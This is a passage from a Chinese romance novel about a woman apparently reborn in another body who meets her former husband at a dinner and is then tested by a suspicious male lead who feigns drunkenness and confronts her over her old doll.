原来是秦老师曾经的工作室,她都出国两年了,这些花还被打理得这么好。
晚霞下,色彩斑斓的花都被染上金色碎光,最惊艳的当属离她最近,瑰丽饱满的鲜花,像落日下的绝美宝石。
只那一眼,她便永远记住那美到失真的花。
她不认识,便问身边的人:“这花好漂亮,叫什么名字你知道吗?”
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少年眉眼桀骜,金色霞光给他镀上一层柔和的光,好看得晃人眼。
他看向西沉红日对她说:“此刻的太阳,落日——珊瑚。”
说完,他当真转身下楼去写作业了,独留她待在那片花海和落日余晖下。
他怎么会不认识落日珊瑚呢,严格来说,她认识落日珊瑚还是因为他。
霜见把花瓶放到床头柜上,似是自语:“我心中最美的花,可惜花期太短。”
她抬眼望向穆砚钦,“给你泡了茶。”
穆砚钦跟着霜见出了卧室,视线始终落在那道纤细的身影上。
他眸光意味不明,落在从厨房出来的陈芳妹眼中,便成了充满爱意的眼神。
陈芳妹咧嘴笑说:“你们年轻人在家也是无聊,要不出去逛逛?”
霜见忙拒绝:“外婆,今天逛街已经很累了。”
“那你弹琴给小穆听。”她满脸自豪,“小穆,你还没听过我们霜见弹琴吧?她那钢琴弹得,哎哟,牛听了都得陶醉。”
霜见无语,对牛弹琴可还行?
这不是骂穆砚钦么,她憋着笑看了穆砚钦一眼,见他面色淡定,这才嗔了声:“外婆~”
陈芳妹并不知道穆砚钦的妹妹是霜见学生,一个劲想让霜见上才艺,就差对霜见说:去,给小穆表演个《梦中的婚礼》。
霜见硬把陈芳妹劝回厨房,回到客厅就见穆砚钦站在家里那架钢琴前。
他掀开琴盖,问霜见:“家里有琴,聆听也有琴,可你偏要每天去知音练琴。”
他合上琴盖,踱步到霜见面前,满眼探究:“你这人...怎么这么奇怪?”
他现在看霜见,全身上下,行为举止全都透露着古怪。
霜见去知音的真实目的自然不能说。
她看了眼厨房方向,把穆砚钦拉到自己卧室,关上房门。
真诚解释:“你千万千万别多想,我真的不是喜欢你,我去知音是因为知音比聆听离家更近,家里这架钢琴你也看到了,太老旧,音都已经不准了,不适合再弹。”
穆砚钦大喇喇坐在飘窗上,双手反撑,歪着脑袋望着站在他面前的人,审视意味十足。
“你别用这种眼神看我,我说的都是真的,至于那天在咖啡馆和我前男友说的话确实是我不对,我想分手,他不同意,我看见你出去就...”
“就拿我做挡箭牌?阮霜见,你这人可真是思路清奇,分个手还要拽个垫背的。”
穆砚钦懒得再跟她多说,但凡他问一句,她就能很快编出个完美无暇的理由,越是这样,越说明她这人有鬼。
他站起声,冷哼一声越过霜见出了卧室,到厨房和忙碌的陈芳妹说了声公司有事便离开了。
那周穆遥上课,穆砚钦依旧没有出现。
-
周六那天,霜见最后一节课的学生请假,她难得周末能和大家一起下班。
霜见要请聆听的小伙伴们一起吃饭,胡春玲有自己的夜生活没凑热闹,三个年轻人一起去了四季楼。
到了饭店门外,杨畅留在外面抽烟。
霜见和骆天骄进去找了个位置坐下。
杨畅抽完烟进来,身后竟然还跟着秦追。
杨畅对两人说:“秦追他们也在这边吃饭,喊我们一起呢。”
秦追盛情邀请:“一起吧,人多热闹。”
霜见想婉拒,一来今天说好她请客,再来,她近期有点不想再见到穆砚钦。
她脑子里才闪过穆砚钦那张虽帅但很可恶的脸,那张脸就出现在了面前。
他手里握着手机朝他们这边走来,视线轻飘飘溜了眼霜见,对秦追说:“可以上菜了,楚川马上到。”
19. 第 19 章
穆砚钦说完先行上楼。
听见穆砚钦说楚川要来,霜见便沉浸在自己的思绪中,一时没听见秦追再次发出的邀请。
秦追见霜见不应声,忙碰了碰杨畅胳膊。
杨畅知道自己这位好友对霜见有意,所以得知霜见分手的第一时间就告知了秦追。
现下见好友小动作,瞬间会意,忙劝说:“霜见天骄,要不和他们一起吧,秦追还有砚钦哥你们也都认识。”
不用出钱只出嘴,骆天骄当然没意见。
霜见回过神,能见楚川她也自然同意。
一行人上楼,雅间内已经坐了几人,分别是邵亭岳、小蕊、穆砚钦还有方西河。
和众人打了招呼,霜见便安静坐在一边,她面上平静,心里却很是不安。
外公已经去世,爸爸妈妈还有妹妹她暂时亲近不了,现在她只希望能和楚川联系上。
如果是死别,她别无选择,可现在是生离,她还活着,她不求回到过去,但也想身边依旧有他们。
霜见身体紧绷,有人和她说话,她也总是反应迟钝,骆天骄问:“霜见,你是不是不舒服啊?”
霜见感觉自己胳膊起了一层细密的疙瘩,好像空调温度太低,屋子也很憋闷,“我去趟洗手间。”
她去洗手间对着镜子补妆,补了一半看着镜子里不属于自己的脸,放弃了,打扮得再漂亮,对于楚川也只是陌生人。
霜见回到雅间,一推门,视线便锁在穆砚钦身边的楚川身上。
众人朝她看过来,秦追忙起身给她介绍:“霜见老师,这是楚川哥。”
楚川清隽的脸与从前无异,他唇角轻微上扬,起身向霜见伸出手,“上次秦追生日我们好像有过一面之缘。”
霜见再次见到楚川,有些不真实,不谈秦追生日的那次匆匆一面,她最后一次和他告别是在一个多月前。
可如今再看着他的脸,触摸到他的手,却有种恍如隔世的不真实感。
她目光灼灼望着他,试图看出他这些年到底过的好不好。
这一刻,她窥探到自己内心深处隐秘的卑劣想法。
她竟不知自己是否希望失去阮诺的楚川依旧如往日般快乐。
楚川见霜见看着自己发呆,半晌没有回应,出声轻唤:“霜见老师?”
霜见灵魂归体,挤出僵硬笑容,声音带着轻颤:“你好,我叫阮霜见。”
她和楚川正式重逢。
-
桌上菜色丰盛,可霜见无心品尝,她视线总是会不受控地瞥向楚川方向。
就连秦追给她倒芒果汁她都没在意,幸好骆天骄及时抬手挡住她的杯口。
“霜见芒果过敏。”
听见声音,霜见这才注意到秦追手里装满芒果汁的玻璃壶。
“我芒果过敏,喝西瓜汁就好。”
就是这么凑巧,她和原主都对芒果过敏,她这辈子算是和芒果无缘了。
她起身准备去拿桌面上的西瓜汁,抬眼间,视线和穆砚钦在空中交汇,那眼神像是要把她看透。
她紧张抿唇,转念一想,芒果过敏又不是什么小众毛病,应该不至于这也怀疑。
她心虚别过眼,看了眼他身边的楚川,楚川反而没什么反应,她有些失望,提起西瓜汁给自己倒上。
桌上气氛热烈,众人推杯换盏,唯有穆砚钦好似吃饱了,低着头嚼着薄荷糖在玩游戏。
邵亭岳不满夺过他手机,“楚川难得回来,你不陪他喝一杯就算了,怎么还玩起游戏了,太不像话。”
穆砚钦抢回手机,“滚远点,你一个抵俩,有你陪就够了。”
邵亭岳拿起酒瓶隔着穆砚钦给楚川倒酒,“楚川,咱哥几个难得聚一次,你别怪我唠叨啊。”
穆砚钦玩游戏动作未变,却突然出声:“知道唠叨就闭嘴吧!”
邵亭岳放下酒瓶,“关你什么事,我是和楚川说话。”
他又看向楚川,“做人要向前看,马上就到阮诺六周年忌日了吧,你为她守了这么些年已经可以了,你还年轻,”
霜见握着杯子的手猛地收紧,定定看向楚川。
邵亭岳话没说完,就听“啪”的一声,穆砚钦将手机抛到桌上,声音冷冽:“邵亭岳,阮诺是他老婆,他为他老婆守着跟你有关系么?”
邵亭岳被穆砚钦丢手机的动作吓了一个激灵,闻言也很不爽,“不是,跟你有关系吗?你也说了,阮诺是他老婆,又不是你老婆,你在这莫名其妙发什么火?”
楚川出声安抚两人,“好了,亭岳,你的意思我知道,我也会好好考虑你的话,只是暂时我还忘不了诺诺。”
“我没让你忘,别说你,我们也没忘了她,我只是让你活在当下,你才30岁,难道真的要为她一辈子孤独终老吗?”
楚川还没说话,穆砚钦蹭地起身,拿起邵亭岳面前酒杯就往邵亭岳嘴里灌酒,“你以为自己是月老吗?一天到晚操心别人那点破事,是天庭给你下了KPI么?”
穆邵亭岳被呛得又咳又呕,酒水半杯进嘴,半杯顺着下颌流到衣襟,染湿一片。
楚川和方西河离得近忙上前拉开穆砚钦。
“钦哥,钦哥,亭岳要呛死了。”方西河劝阻。
他砰地把酒杯扔在桌上,高脚杯瞬间碎裂。
“邵亭岳你管好你自己就行,少管别人。”
邵亭岳咳得满脸通红,好不容易喘上气,咬牙道:“我艹,你他妈有病吧,管你不行,管楚川也不行,不是,穆砚钦,你他妈别告诉我你喜欢的人是楚川。”
话音落,屋内静得落针可闻。
霜见震惊看向穆砚钦,刹那间她回想起过去,自从她和楚川在一起后,穆砚钦看自己就眼睛不是眼睛,鼻子不是鼻子,难道就是因为这个?
穆砚钦无视众人反应,拉开椅子坐下,他姿态肆意,仰着脖子回:“你他妈才有病,老子谁都不喜欢。”
“人楚川不谈恋爱是为阮诺守着,你呢?你三十岁还是个老光棍是为了什么?”
邵亭岳眼珠一转,扯着椅子在穆砚钦对面坐下。
之前剑拔弩张的气氛瞬间消失,他又换上那副贱嗖嗖的嘴脸,“穷总,你跟我说句实话,这里也没外人,你是不是喜欢男人啊?”
“滚!”
邵亭岳嘀咕:“不喜欢女人,也不喜欢男人。”他问:“那你究竟喜欢什么样的人?”
穆砚钦烟灰色的V领T恤因刚刚和邵亭岳的激烈碰擦,衣角上被红酒洇湿一块。
衣领也被扯得很低,露出小半块胸肌,白皙的肌肤上被磨得通红。
此刻的穆砚钦痞里痞气,透着不可一世的狂傲,“死人!”
他视线轻飘飘扫过楚川,“别人的...亡妻。”
此言落,室内再次陷入诡异的寂静。
所有人都目瞪口呆看着穆砚钦,一时间无人出声。
霜见也似被点了穴般僵硬望着他,他...什么意思?
须臾,秦追的憨笑声打破平静,他突兀道:“我哥就是讲义气。”
邵亭岳似是被这一声唤醒,缓过劲儿,大咧咧说:“得亏我们穷总朋友少,不然替这个守完,替那个守,那不得打一辈子光棍。”
他嬉皮笑脸拍了拍穆砚钦肩膀,“你可不能偏心,不能只替楚川老婆守,哪天等我老婆没了,你也得替我老婆守着。”
小蕊红着脸,瞥了眼穆砚钦,娇嗔喊了声:“亭岳~”
邵亭岳扭头看她,不在意道:“我没有咒你的意思,你也不是我老婆,再说了,穷总要真为你守着,你不得高兴死。”
“亭岳~”
霜见被这娇滴滴的声音喊得一个激灵,十分无语看向邵亭岳和穆砚钦。
这俩人开玩笑也没个度,跟他们做朋友,老婆得死一大片。
“滚一边去。”穆砚钦打开邵亭岳落在自己肩膀的手。
一切又恢复平静,好似之前混乱的一幕没有发生过。
吃饭的吃饭,喝酒的喝酒,玩游戏的继续玩游戏。
骆天骄没见过这样的,她凑近霜见。
“刚刚他们是不是差点动手了?不是我的幻觉吧?怎么吵着吵着就好了?”
霜见心道他们就这样,一个嘴贱,一个脾气爆,脑回路还不一样,也不知道怎么玩到一起的。
嘴上却回:“谁知道呢。”
霜见没急着接近楚川,知道他还单身,心下稍定,有了第一次见面,就不怕没有第二次,只是没找到机会要联系方式。
饭局结束,秦追嚷着他放年假,要玩个痛快,约着众人去Tonight玩二场。
大家第二天都有事,没人愿意去,最后他生拉硬拽把邵亭岳和穆砚钦拖去了。
到了酒
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馆,才落座,穆砚钦就十分不耐说:“有屁快放。”
秦追却看向邵亭岳,语气诚恳:“亭岳哥,我要追霜见老师,你给我出出主意吧。”
穆砚钦拿杯子的手顿住。
邵亭岳一脸孩子你很上道的表情,颇为得意瞥了眼穆砚钦道:“这种事你找我就行了,找他来干嘛?”
“我哥不是反面教材么,你出的主意要是他说好,那我就再斟酌一下。”
闻言,穆砚钦眼神危险盯着秦追,“你现在胆子是越来越肥了。”
邵亭岳笑得开怀,拍了拍穆砚钦,“你急什么?人小追追说的也是实话,这种事不找我这个情场老手,难不成还找你这个万年单身...老狗?”
穆砚钦一口闷掉杯中酒,“没我,你也就是个半吊子老手。”
这话倒是真的,但凡邵亭岳在场的情况,有姑娘来找穆砚钦要微信,最终加的都会是邵亭岳的微信。
小蕊就是这么成为邵亭岳女朋友的。
“是,我多谢钦哥。”
邵亭岳想了想对秦追说:“打铁要趁早,就今天,你多喝点酒,喝到身上有酒气但意识清晰,简单说就是装醉。”
“然后我让酒保给霜见妹妹打电话,让她来接你,你趁机表白,她同意皆大欢喜,不同意,你明天就说昨天酒喝多了说了什么让她都别往心里去,为了表示感谢再请她吃顿饭,这不就又创造了一次见面机会。”
“那她不同意,后面怎么办?”
“后面的事后面再办,先创造独处机会,你尽情散发你的魅力,万一成了呢。”
“我觉得这主意挺好。”穆砚钦冷不丁开口。
秦追细细一琢磨,点头,“行。”说完把杯里酒喝完。
穆砚钦目露疑惑,“不是,你不是说我说好,你就再斟酌斟酌么?”
“我斟酌过了,确实可行。”又喝了一杯。
等秦追酒喝得差不多,邵亭岳让酒保给霜见打电话。
霜见接到电话时,都已经上床躺下了。
她看见秦追来电很诧异,滑开接听键,传来的却是一个陌生男人的声音,背景里人声夹杂着音乐声很是嘈杂。
“小姐,您的朋友,就是这个手机机主喝醉了,能麻烦您来接他一下吗?”
霜见莫名其妙,秦追喝醉怎么会找到自己。
因为霜见不应该有其他人的手机号,所以挂断电话后,她只能联系穆砚钦和杨畅。
可是她拨这两人电话都是在通话中。
她不知道的是邵亭岳正拿着穆砚钦的手机在给杨畅打电话,所以她不论打给谁,都只能在通话中。
过了会儿,酒保又打来电话催促,霜见无奈只得换身衣服出门去酒馆。
邵亭岳见霜见上钩,于是和秦追又交代两句,就让穆砚钦和他一起先走。
穆砚钦甩开他,“你走你的,我走我的。”
两人在Tonight门口分道扬镳。
霜见问了酒保,被带到一处卡座,靠近就闻到秦追身上的酒气。
她不由皱了皱鼻子,走近拍了秦追几下,“秦追,秦追?”
秦追不敢太过,迷糊睁开眼,看见霜见还面露诧异神色。
“你酒喝多了,告诉我你家地址,我打车送你回去。”
秦追说了自家地址,霜见问:“能自己站起来吗?”
秦追点头,摇摇晃晃站起身,他不敢太放肆,最终只一只胳膊搭在霜见肩上出了酒馆。
霜见打了车,带着他往路边去,远远就看见靠近路边的圆墩上坐着个人,这人垂着头,一动不动,身影有些眼熟。
她费力撑着秦追胳膊靠近,走近一看竟是穆砚钦,这人明显也喝醉了。
秦追没想到穆砚钦还没走,没忍住抬头四周张望寻找邵亭岳身影。
没找到人。
什么情况?
他哥怎么还没走?
霜见让他站在原地,她过去晃了晃穆砚钦肩膀,“穆砚钦?”
穆砚钦没有反应,她蹲下身,仰头去看他。
只见他长睫微垂,眸子漆黑透亮,眼神清明并无醉意。
霜见愣了一瞬问:“你怎么还不走,坐在这干嘛?要我帮你叫代驾吗?”
穆砚钦沉默。
霜见站起身想去牵过秦追,转身之际,穆砚钦突然扣住她的手腕。
20. 第 20 章
霜见手腕处传来男人灼热的体温,她不解地再次蹲下,又对上那双亮得出奇的眸子。
霜见蹙眉,“你什么意思?”
穆砚钦依旧不应声,额前碎发被风吹得微扬,面颊泛红,上挑的眼尾把那颗“泪痣”衬得魅惑。
霜见盯着他眼角的“泪痣”出神,不得不承认这颗“痣”是穆砚钦好样貌的点睛之笔。
不知道穆砚钦每次照镜子看到这颗“痣”时是感谢她,还是在心里把她骂一遍。
霜见视线从“痣”上移开,又对上他的眼睛,他的眸光深不见底,藏着不可名状的情绪,霜见对上穆砚钦的眼神心漏了一拍,慌忙起身。
她站得急切,穆砚钦还没松手,两人力道相悖,霜见没有站稳朝穆砚钦扑了过去,胸口栽向穆砚钦的面庞。
两人身体同时一僵。
耳边传来过往车辆的鸣笛声,霜见猛然回神,慌乱后退,可穆砚钦依旧不松手,两人以最远距离拉着手,僵持不下。
秦追见状,一步三歪维持着醉酒人设走了过来。
他上前拍了两下穆砚钦,咬字极重:“哥,哥,你不是和亭岳哥走了吗?”
穆砚钦不理他,就那么紧握霜见手腕。
霜见确定穆砚钦应该还是喝醉了,只不过奇怪的人喝醉的反应也和常人不一样。
她没办法送两个醉鬼,于是对秦追说:“你去那个石墩上坐着,我再给杨畅打个电话。”
秦追一听有点着急,找杨畅来肯定是送自己的,可他一个醉了酒意识不清楚的人也不好说什么,只能听话到一边坐下。
心里却在嘀咕,他哥平时酒量还可以,今天虽然喝了不少,但不至于醉得话都说不了,真是奇怪,是什么酒酒性这么烈,他以后可不能喝。
霜见拿出手机准备给杨畅打电话,在快点到杨畅名字的刹那,手指顿住。
她咬住下唇,思忖片刻,吐出一口气,背过身,点开数字键,摁下心中早已倒背如流的号码。
很快电话那头传来熟悉的男声。
霜见:“楚先生,不好意思这么晚打扰你了,我是问穆砚钦要的你的手机号。”
手腕上的力道突然加大,她痛得嘶了一声,看了眼穆砚钦,拧动手腕松快了些继续道:“穆砚钦和秦追都喝醉了,酒保打了我的电话,我一个人也不能送他们两个人回去,你看你方便打个车过来一下吗?”
那头应声说很快赶到,让她辛苦照顾下二人。
霜见又取消为秦追打的车,沉默站在原地看着醉得不知人事的二人。
等待期间她依旧被穆砚钦拉着,无论她怎么哄,这人软硬不吃。
楚川到的还算快,霜见看见他,指了指一边的秦追,“麻烦你送下秦追,我送他回去。”
她抬起长了只穆砚钦手的手腕。
“你行吗?要不我打电话叫亭岳过来。”
“他一直这么拽着我,找谁来我都得跟着,算了,别麻烦别人了,你把他家地址给我,我现在打车。”
两人加了微信,楚川把穆砚钦家地址发给霜见。
这么自然要到楚川微信,霜见内心窃喜,表面依旧淡定。
楚川蹲下身,他看向穆砚钦的瞬间,穆砚钦闭上了眼。
楚川见他这样还是不放心,正准备打电话给邵亭岳,霜见打的车到了。
霜见又蹲下看着穆砚钦眼睛问他:“能自己走吗?车来了。”
楚川只能收起手机,准备先扶穆砚钦站起来。
他的手才碰到穆砚钦胳膊,他突然起身,握着霜见的手改成摁住霜见的肩膀,晃晃悠悠跟着霜见上了车。
秦追默默看着上车的两人,只敢在心里把穆砚钦这个搅局的骂一顿。
楚川架起秦追,对车上的霜见喊道:“他要是不配合下车就打电话给我,我有他家里阿姨电话。”
霜见点头,一如往昔般对他说:“路上注意安全。”
上了车,穆砚钦就歪着头靠在车窗上睡着了。
霜见松下一口气,喝醉只知道睡觉的醉鬼才是好醉鬼。
到了翡丽国际,霜见把穆砚钦晃醒,他还算配合下了车。
穆砚钦左手压在霜见的右肩上。
霜见右手揽住他的后背。
她走三步喘两口,用尽全身力气把人送上楼。
开门的是穆砚钦家的保姆吴姨,她送穆遥来上过课,霜见认识。
霜见简单说明了情况,就想把穆砚钦黏在自己肩头的手拨开。
吴姨也伸手想接过穆砚钦,可穆砚钦的手像是焊在霜见的肩头般,两人在门口掰了半天就是掰不开。
霜见无奈,只得道:“算了,哪个是他房间,我送他进去。”
吴姨指了方向,霜见两只脚互相搓着把鞋脱掉,赤着脚拖着穆砚钦进了屋内。
顿时凉意扑面而来,霜见猛地打了个寒颤,这才惊觉自己身上已经被汗湿透。
吴姨作势要帮忙,穆砚钦混沌摆手。
霜见只得道:“没事儿,我来就好,不差这两步,您去忙。”
糯糯一个劲在两人脚边闻,很碍事,吴姨拉住糯糯往一个房间走,“那我去煮醒酒茶。”
霜见咬着牙,一鼓作气带着穆砚钦进了卧室。
入眼就看见一面墙的展示柜,里面摆放着许多飞机模型,客机、战机分类而放,造型颜色各异,数量多到惊人。
猝不及防看见眼前景象,霜见大为震撼。
她侧眸看向半倚在自己肩头的男人,不懂他为什么会放弃飞机去卖钢琴。
不过她这会也没精力多想,只想赶紧卸货。
终于来到床边,她几乎没有思考,直接朝着床砸了上去。
穆砚钦跟随她的动作也倒进床里。
霜见顿时觉得肩头一松,整个人活了过来,她侧躺看向穆砚钦,男人闭着眼,长睫卷翘投下一片阴影,眉骨优越,鼻梁高挺,唇不厚不薄,紧抿成一道缝。
霜见觉得老天爷是公平的,给了这副样貌,给了那副脾气,她嘴里恶狠狠嘟囔:“穆砚钦,你以后最好对我客气点,能把你送回来可是要了我半条命。”
她揉着肩坐起身,又看了眼半死不活躺在床上的人,这才扭着脖子站起来。
瞥见展示柜,霜见走了过去,从左到右走马观花欣赏。
直到蹲下身看见展示柜最下方收藏的东西,瞳孔骤缩,身形一滞。
霜见的心跳越来越快,盯着展示柜里的东西挪不开眼,以至于没有发现她身后的人已经站起了身,正慢慢靠近她。
霜见打开玻璃门,手颤巍巍伸了进去,拿出陪伴她二十多年的布娃娃。
娃娃看上去旧旧的,头顶是黄色毛线做的头发,身上穿着红白格的连衣裙,这裙子是她高中时用自己的衣服给娃娃做的。
她手慢慢摩挲着娃娃,又凑过去闻了闻气味。
那熟悉的气味让她心安,没错,这就是她的娃娃,可她的娃娃怎么会出现在穆砚钦家里?
她抱着娃娃想着要不要就这样带走,反正穆砚钦也醉了不知道。
霜见捏紧手里的娃娃站起,才转身,猛地撞进穆砚钦蕴着薄怒的眼眸。
霜见心中一慌,忙把娃娃藏进身后。
穆砚钦逼近,他双手搭在展示柜上,把霜见圈在其中,背脊深深弯下,与霜见平时,直直凝着霜见惊慌闪动的双眼。
两人温热的鼻息纠缠,眼里只有彼此,明明是暧昧的姿势,却散着剑拔弩张的气氛。
“阮霜见,说说,这个娃娃你也认识?”
霜见唇瓣紧抿,即使她是个傻子,这会也知道穆砚钦是装的,他根本没有喝醉,就是为了把
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自己骗来他家,让自己看见这个娃娃,逼自己原形毕露。
可他怎么可能会猜到自己就是阮诺。
就因为自己认识车妍笑?会涂指甲?爱吃醋?对芒果过敏?
可这人是穆砚钦,先不说他会不会关注自己的这些习惯,就他这个人的性格和处事风格而言,他向来以自我为中心,做事洒脱不羁,别说迷信,科学他都不一定信,他只信他自己。
就这样一个人,怎么可能会因为一些小事,去怀疑一个死了的人又活了,这么惊世骇俗的事,即使有人信,这人也不可能是穆砚钦。
想到这里霜见心跳开始减缓,她想穆砚钦应该也只是觉得自己奇怪,他并不知道自己真实身份,只是在试探。
“说话,你认识这个娃娃么?阮—霜—见!”
他声音不大,可还是给了霜见极大的压迫感。
霜见喉间吞咽,掀眼正视他,因为慌乱而发白的脸色在男人的体温下开始染上红晕。
霜见将娃娃拿至自己胸前,轻启唇畔,语气柔缓却掷地有声:“这个娃娃怎么会在你这?这是阮诺姐姐的阿贝贝。”
她眉梢轻挑继续问:“你懂什么叫阿贝贝吗?就是阮诺姐如果没有她都没法入睡,从小到大都得抱着她睡觉,这是极其私人的物品,你和阮诺姐很熟,关系很好吗?好到这种私密物品不在她老公那竟然在你这?”
她虽然这么问,但她最是清楚,两人虽熟悉却不要好,穆砚钦没有理由会收着自己的东西,这娃娃在这肯定是有原因的,只不过她现在就是要化被动为主动。
穆砚钦嘴角轻扯,没什么笑意,“你不要顾左右而言他,我在问你呢,你为什么会认识这个娃娃?”
霜见现在已经平复心绪,她坦然回望穆砚钦:“我说过,阮诺姐托梦给我,她让我帮她找到这个娃娃,她在下面没有这个娃娃日日睡不好,要我找到后烧给她。”
“是吗?那你为什么要骗楚川?”
他的问题转得突然,霜见一时没反应过来,“我什么时候骗楚川了?””
穆砚钦一把夺过她手中的娃娃,“没有吗?我什么时候告诉过你他的号码了?”
他理了理娃娃有些凌乱的头发,“你怎么会知道他的手机号?又是阮诺托梦给你的?”
霜见伸手去抢娃娃,“是,都是阮诺姐托梦给我的,娃娃给我。”
穆砚钦举着娃娃,霜见蹦跳着却碰不着。
他垂眸望着在他面前一蹦三跳的人淡淡开口:“不说实话,娃娃你别想要。阮霜见,但凡你编个靠谱的理由,我都要信你三分,托梦,你骗鬼呢。”
连托梦都不信的人,更不会信一个人能重生成另一个人。
穆砚钦的反应虽让霜见恼怒,却也不再担惊受怕。
“楚川知道你把她老婆的娃娃收到自己家吗?你什么意思啊?该不会是暗恋阮诺姐吧?”
霜见当然知道没可能,她就是想占据主动权。
穆砚钦轻哼了声,“这不用你操心,也跟你没关系。”
他越过霜见把娃娃放到展示柜的最顶层,霜见够不到的地方。
霜见望着娃娃却摸不到,她不想再吃褪黑素了,那东西吃多了效果已经大幅度下降,她今天一定要要回娃娃。
于是她又换了副面孔,开口乞求:“砚钦哥,你就把娃娃给我吧,阮诺姐真的很需要她。”想了想又说:“她还让我帮她把琴行买回来,你看你也不同意,你们再怎么说也算朋友吧,那这个娃娃你就高抬贵手给我吧,你留着也没用是不是?”
穆砚钦面色冷沉,这人真是无事穆砚钦,有事砚钦哥,怎么这么虚伪?
灯光下,他似裹了层薄雾,但他的眼神却像利箭,刺破雾霭,直直扎进霜见眼里。
他突然问:“阮霜见,阮诺的死跟你到底有没有关系?”